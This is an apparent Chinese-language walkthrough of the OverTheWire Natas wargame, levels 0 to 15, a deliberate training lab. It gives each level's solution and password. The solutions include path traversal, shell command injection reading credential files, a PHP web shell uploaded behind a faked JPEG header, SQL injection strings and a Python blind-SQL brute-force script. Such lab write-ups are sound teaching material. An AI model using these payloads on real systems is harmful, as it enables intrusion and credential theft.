OverTheWire-Natas

NATAS0-33

Natas教授了服务器端网络安全的基础知识。natas的每个级别都包含位于http://natasX.natas.labs.overthewire.org的自己的网站 ,其中X是级别号码。有没有SSH登录。要访问某个级别,请输入该级别的用户名(例如,0级的natas0)及其密码。
每个级别都可以访问下一级别的密码。你的工作是以某种方式获得下一个密码并升级。所有密码也存储在/ etc / natas_webpass /中。例如,natas5的密码存储在/ etc / natas_webpass / natas5文件中,并且只能由natas4和natas5读取。

Natas Level 0

1
2
3
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org

过程:

进入题目后

1
You can find the password for the next level on this page.

查看源码获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
</div>
</body>
</html>

The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto

Natas Level 0 → Level 1

1
2
3
4
Username: natas1
URL: http://natas1.natas.labs.overthewire.org

密码:gtVrDuiDfck831PqWsLEZy5gyDz1clto

过程:

进入题目后

1
ou can find the password for the next level on this page, but rightclicking has been blocked!

提示密码就在这个页面,但是鼠标右键被禁用了,所以通过F12查看源码来获取密码

The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Natas Level 1 → Level 2

1
2
3
4
Username: natas2
URL: http://natas2.natas.labs.overthewire.org

密码: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

过程:

先看看页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

发现这样一个图片files/pixel.png,但是非常小,感觉没有什么用,那就直接访问http://natas2.natas.labs.overthewire.org/files/ 发现除了pixel.png图片还有一个users.txt的文件

获得文件内容

1
2
3
4
5
6
7
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH

natas3: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Natas Level 2 → Level 3

1
2
3
4
Username: natas3
URL: http://natas3.natas.labs.overthewire.org

密码:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

过程:

进入题目后查看源码,发现没有什么可用信息,那就看一下robots文件

1
2
User-agent: *
Disallow: /s3cr3t/

访问 /s3cr3t/,发现users.txt文件,接着访问users.txt获得下一关的密码

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Natas Level 3 → Level 4

1
2
3
4
Username: natas4
URL: http://natas4.natas.labs.overthewire.org

密码:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

过程:

1
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

http://natas5.natas.labs.overthewire.org/访问就可以获得密码,那就直接使用Burp suite抓包,将请求头的Referer改为题目指定的

Http协议中的referer表示的就是你从哪个页面来的

1
Referer: http://natas5.natas.labs.overthewire.org/

The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Natas Level 4 → Level 5

1
2
3
4
Username: natas5
URL: http://natas5.natas.labs.overthewire.org

密码:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

过程:

进入题目后提示还没有登陆

1
Access disallowed. You are not logged in

用Burp suite获取请求包

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: natas5.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: loggedin=0
Authorization: Basic bmF0YXM1OmlYNklPZm1wTjdBWU9RR1B3dG4zZlhwYmFKVkpjSGZx
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

发现Cookie: loggedin=0,猜测0为没有登陆,1为已经登陆,所以将0改为1,重放后获得密码

The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Natas Level 5 → Level 6

1
2
3
4
Username: natas6
URL: http://natas6.natas.labs.overthewire.org

密码:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

过程:

进入题目后有一个提交框,我们还是先看看源码,点击View sourcecode

发现PHP脚本

1
2
3
4
5
6
7
8
9
10
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>

我们输入的参数和预先设定的$secret一样就可以获得密码,那直接访问secret.inc文件试试看

访问http://natas6.natas.labs.overthewire.org/includes/secret.inc,虽然页面空白,但是鼠标右键查看源码~哇

1
2
3
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

现在回来直接在提交框提交FOEIUWGHFEEUHOFUOIU获得密码

The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Natas Level 6 → Level 7

1
2
3
4
Username: natas7
URL: http://natas7.natas.labs.overthewire.org

密码:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

过程:

发现两个超链接,但是并没有什么用,查看网页源码获得提示

1
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

猜测是文件包含

直接访问:http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../etc/natas_webpass/natas8获得密码

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Natas Level 7 → Level 8

1
2
3
4
Username: natas8
URL: http://natas8.natas.labs.overthewire.org

密码: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

过程:

还是点击View sourcecode看看源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

提交的参数经过三次处理后等于$encodedSecret就会获得密码

bin2hex()函数是把 ASCII 字符的字符串转换为十六进制值
strrev()函数是反转字符串
base64_encode()进行Base64编码

那个就写一个脚本还原$encodedSecret的值,代码如下

1
2
3
4
5
6
7
8
<?php

$data = "3d3d516343746d4d6d6c315669563362";
$result =base64_decode(strrev(hex2bin($data)));

echo $result

?>

提交运行的结果获得密码

The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Natas Level 8 → Level 9

1
2
3
4
Username: natas9
URL: http://natas9.natas.labs.overthewire.org

密码:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

过程:

查看源码

1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>

通过passthru()来执行外部命令,可以使用;命令分隔符,这将允许我们在一行中使用2个命令。我们还将使用#注释命令,它将注释符号后面的其余文本。

因此输入; cat /etc/natas_webpass/natas10 #将运行passthru命令; grep -i ; cat /etc/natas_webpass/natas10 #并注释掉dictionary.txt。

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Natas Level 9 → Level 10

1
2
3
4
Username: natas10
URL: http://natas10.natas.labs.overthewire.org

密码:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

过程:

感觉套路一样,只是说过滤了某些字符,还是查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>

过滤了&,那就想办法绕过,使用.* /etc/natas_webpass/natas11 #.#意思是通过grep搜索所有,并将其匹配到 /etc/natas_webpass/natas11

1
2
3
4
5
6
7
Output:
.htaccess:AuthType Basic
.htaccess: AuthName "Authentication required"
.htaccess: AuthUserFile /var/www/natas/natas10//.htpasswd
.htaccess: require valid-user
.htpasswd:natas10:$1$XOXwo/z0$K/6kBzbw4cQ5exEWpW5OV0
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Natas Level 10 → Level 11

1
2
3
4
Username: natas11
URL: http://natas11.natas.labs.overthewire.org

密码:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

过程:

还是之接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

?>

首先定义了一个数组,然后创建了一个’xor_encrypt’函数,该函数将一个字符串作为输入并使用一个经过审查的密钥执行XOR操作 ;’loadData’函数,将默认数组加载到$ mydata中,检查cookie中是否存在数据,如果是,则尝试对其进行base64_decode,对其执行XOR操作,并将JSON解码为数组 ,如果这确实是一个数组,并且找到适当的值,则使用cookie中的值更新mydata的值 ,如果不是,则保留默认值;’saveData’函数,该函数用于将Cookie设置为JSON编码,异或,然后base64编码的数据.

XOR加密的特性

1
2
3
Original_Data XOR KEY = Encrypted_Data

Original_Data XOR Encrypted_Data = KEY

所以使用这个特性写一个脚本来算出KEY,Cookie=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<php?  
$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
print xor_encrypt($cookie);
?>

运行结果为:

1
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

所以key为qw8J,接着再写算出以qw8J为密钥,’showpassword’的值为’yes’ 的密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

function xor_encrypt() {
$text = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$key = "qw8J";
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
print base64_encode(xor_encrypt());
?>

运行结果为

1
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

最后使用Burp suite抓包修改Cookie为刚得到的获得密码

The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Natas Level 11 → Level 12

1
2
3
4
Username: natas12
URL: http://natas12.natas.labs.overthewire.org

密码:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

过程:

同样先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<? 

function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>

genRandomString函数创建一个10个字符的随机字符串 ;

makeRandomPath函数传入一个目录和扩展名,并创建一个随机文件名;

makeRandomPathFromFilename函数,它接收一个目录和一个文件名,并从文件名中提取扩展名。然后它使用这个信息来调用makeRandomPath;

然后PHP代码检查是否已上传文件,然后从提供的文件名创建一个随机路径。然后它会检查大小以确保其大小不超过1000字节,如果这些检查通过,它会上传文件并告诉路径

我先正常上传了一个正常的小于1K的图片,成功返回了路径和重命名后的文件名。于是上传一个shell

1
2
3
<?    
passthru($_GET['cmd']);
?>

修该扩展名为jpg,使用burp suite 抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://natas12.natas.labs.overthewire.org/
Content-Type: multipart/form-data; boundary=---------------------------27523163275597
Content-Length: 454
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------27523163275597
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
-----------------------------27523163275597
Content-Disposition: form-data; name="filename"

4flu9u53ae.jpg
-----------------------------27523163275597
Content-Disposition: form-data; name="uploadedfile"; filename="2.jpg"
Content-Type: image/jpeg

<?
passthru($_GET['cmd']);
?>
-----------------------------27523163275597--

修改filename的扩展名,将jpg改为php

4flu9u53ae.php

返回:

1
The file upload/d0tmjn54an.php has been uploaded

shell上传成功,接着执行命令cat /etc/natas_webpass/natas13查看密码

访问:natas12.natas.labs.overthewire.org/upload/d0tmjn54an.php?cmd=cat /etc/natas_webpass/natas13

获得密码

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Natas Level 12 → Level 13

1
2
3
4
Username: natas13
URL: http://natas13.natas.labs.overthewire.org

密码:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

过程:

这里就不把源码复制过来了,这题不同的是用了exif_imagetype 函数来获取图片的类型。大多数文件类型(如JPEG,ZIP,TAR等)在文件的开头都有一个“ Magic Number ”来帮助验证它的文件类型。因此,要通过exif_imagetype函数检查,我们的文件必须以支持的图像格式的幻数开始。

jpeg文件有固定的文件头,其文件头的格式如下:

1
2
3
Start Marker  | JFIF Marker | Header Length | Identifier

0xff, 0xd8 | 0xff, 0xe0 | 2-bytes | "JFIF\0"

用python创建一个shell脚本

1
2
3
fh = open('shell.jpg','w')
fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
fh.close()

然后用上一题同样的方法上传,获取密码

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Natas Level 13 → Level 14

1
2
3
4
Username: natas14
URL: http://natas14.natas.labs.overthewire.org

密码:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>

注意的一个关键问题是,如果我们在GET请求中提供了一个’debug’参数,它将回显发送到数据库的确切查询。

用户:username

密码:password

访问:http://natas14.natas.labs.overthewire.org/index.php?username=username&%20password=password&debug

返回:

1
2
Executing query: SELECT * from users where username="username" and password="password"
Access denied!

用户:” or “1”=”1

密码:password

访问:

http://natas14.natas.labs.overthewire.org/index.php?username=%22%20or%20%221%22=%221&%20password=password&debug

返回:

1
2
Executing query: SELECT * from users where username="" or "1"="1" and password="password"
Access denied!

用户:” or “1”=”1

密码:” or “1”=”1

访问:

http://natas14.natas.labs.overthewire.org/index.php?username=%22%20or%20%221%22=%221&%20password=%22%20or%20%221%22=%221&debug

返回:

1
2
Executing query: SELECT * from users where username="" or "1"="1" and password="" or "1"="1"
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

成功登陆并返回密码

Natas Level 14 → Level 15

1
2
3
4
Username: natas15
URL: http://natas15.natas.labs.overthewire.org

密码:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?

/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>

经过多次尝试后,这一题是sql盲注,并且存在natas16这个用户,而密码是32个字符,可以用这条查询语句来查寻密码中是否有a

Select * from username where username =“natas16”and password LIKE BINARY“%a%”

所以用python写一个脚本来爆破出密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''

for char in chars:
Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in r.text :
filtered = filtered + char

for i in range(0,32):
for char in filtered:
Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
if 'exists' in r.text :
passwd = passwd + char
print(passwd)
break

第一个循环是找出密码由哪些字符组成,而第二个双重循环的目的是查出密码,这样更快一点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
W
Wa
WaI
WaIH
WaIHE
WaIHEa
WaIHEac
WaIHEacj
WaIHEacj6
WaIHEacj63
WaIHEacj63w
WaIHEacj63wn
WaIHEacj63wnN
WaIHEacj63wnNI
WaIHEacj63wnNIB
WaIHEacj63wnNIBR
WaIHEacj63wnNIBRO
WaIHEacj63wnNIBROH
WaIHEacj63wnNIBROHe
WaIHEacj63wnNIBROHeq
WaIHEacj63wnNIBROHeqi
WaIHEacj63wnNIBROHeqi3
WaIHEacj63wnNIBROHeqi3p
WaIHEacj63wnNIBROHeqi3p9
WaIHEacj63wnNIBROHeqi3p9t
WaIHEacj63wnNIBROHeqi3p9t0
WaIHEacj63wnNIBROHeqi3p9t0m
WaIHEacj63wnNIBROHeqi3p9t0m5
WaIHEacj63wnNIBROHeqi3p9t0m5n
WaIHEacj63wnNIBROHeqi3p9t0m5nh
WaIHEacj63wnNIBROHeqi3p9t0m5nhm
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh